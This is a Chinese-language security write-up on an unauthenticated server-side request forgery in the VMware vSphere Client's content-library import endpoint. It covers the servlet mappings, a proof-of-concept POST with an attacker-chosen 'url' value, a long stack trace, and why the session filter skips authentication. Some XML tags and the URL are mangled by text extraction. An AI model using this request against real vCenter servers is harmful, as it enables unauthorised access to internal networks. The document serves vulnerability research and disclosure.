
 

0x01 写在前⾯  
很鸡肋的洞，在 v6.7.0/v7.0 均测试过，不影响最新版。

0x02 漏洞详情  
com.vmware.vsphere.client.h5.admin.controllers.ContentLibraryUploadHandler#doRequest

bean定义

/h5-admin-ui/WEB-INF/spring/bundle-context.xml

url定义

/h5-admin-ui/WEB-INF/web.xml

web-conextpath 定义

/h5-admin-ui/META-INF/MANIFEST.MF

 

<bean id="contentLibraryUploadServlet"  
      
class="com.vmware.vsphere.client.h5.admin.controllers.ContentLibraryUploadHandler">  
   <property name="keystoreService" ref="keystoreService""#  
"$bean>

<servlet-mapping>  
   <servlet-name>contentLibraryUploadServlet"$servlet-name>  
   <url-pattern>/libraryimport"$url-pattern>  
"$servlet-mapping>

Web-ContextPath: ui/admin-ui



漏洞复现

注：https

 

POST /ui/admin-ui/libraryimport

url=https:"%ip:port

java.lang.ClassCastException: sun.net.www.protocol.http.HttpURLConnection cannot be cast 
to javax.net.ssl.HttpsURLConnection
  
com.vmware.vsphere.client.h5.admin.controllers.ContentLibraryUploadHandler.createConnect
ion(ContentLibraryUploadHandler.java:178)
  
com.vmware.vsphere.client.h5.admin.controllers.ContentLibraryUploadHandler.doRequest(Con
tentLibraryUploadHandler.java:111)
  
com.vmware.vsphere.client.h5.admin.controllers.ContentLibraryUploadHandler.handleRequest
(ContentLibraryUploadHandler.java:90)
  
org.springframework.web.context.support.HttpRequestHandlerServlet.service(HttpRequestHan
dlerServlet.java:67)
  javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyServlet.service(H
ttpServiceRuntimeImpl.java:1256)
  
org.eclipse.equinox.http.servlet.internal.registration.EndpointRegistration.service(Endp
ointRegistration.java:153)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:50)
  
com.vmware.o6jia.context.web.filter.WelcomeFileFilter.doFilter(WelcomeFileFilter.java:48
)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)



  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)



  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)



  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.vise.security.SessionManagementFilter.doFilter(SessionManagementFilter.java:1
94)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:50)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)



 

  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
com.vmware.o6jia.context.web.filter.ContextPathAwareDelegatingFilter.doFilter(ContextPat
hAwareDelegatingFilter.java:46)
  
org.eclipse.equinox.http.servlet.internal.HttpServiceRuntimeImpl$LegacyFilterFactory$Leg
acyFilter.doFilter(HttpServiceRuntimeImpl.java:1215)
  
org.eclipse.equinox.http.servlet.internal.registration.FilterRegistration.doFilter(Filte
rRegistration.java:121)
  
org.eclipse.equinox.http.servlet.internal.servlet.FilterChainImpl.doFilter(FilterChainIm
pl.java:45)
  
org.eclipse.equinox.http.servlet.internal.servlet.ResponseStateHandler.processRequest(Re
sponseStateHandler.java:70)
  
org.eclipse.equinox.http.servlet.internal.context.DispatchTargets.doDispatch(DispatchTar
gets.java:132)
  
org.eclipse.equinox.http.servlet.internal.servlet.ProxyServlet.service(ProxyServlet.java
:100)
  javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
  org.eclipse.equinox.servletbridge.BridgeServlet.service(BridgeServlet.java:152)
  com.vmware.vsphere.bridge.BridgeServletEx.service(BridgeServletEx.java:21)
  javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
  org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
  
org.apache.catalina.filters.HttpHeaderSecurityFilter.doFilter(HttpHeaderSecurityFilter.j
ava:126)
  
com.vmware.vsphere.bridge.DenyConfigurationFilesFilter.doFilter(DenyConfigurationFilesFi
lter.java:45)



0x03 漏洞分析  
原理：

正常情况，会加上session的判断

 

⽽ ContentLibraryUploadHandler 唯⼀经过的filter判断是
com.vmware.vise.security.SessionManagementFilter

但是

这⾥并不会进⼊ if 语句的判断，直接进⼊doFilter，后续的处理流程中也没有鉴权操作。
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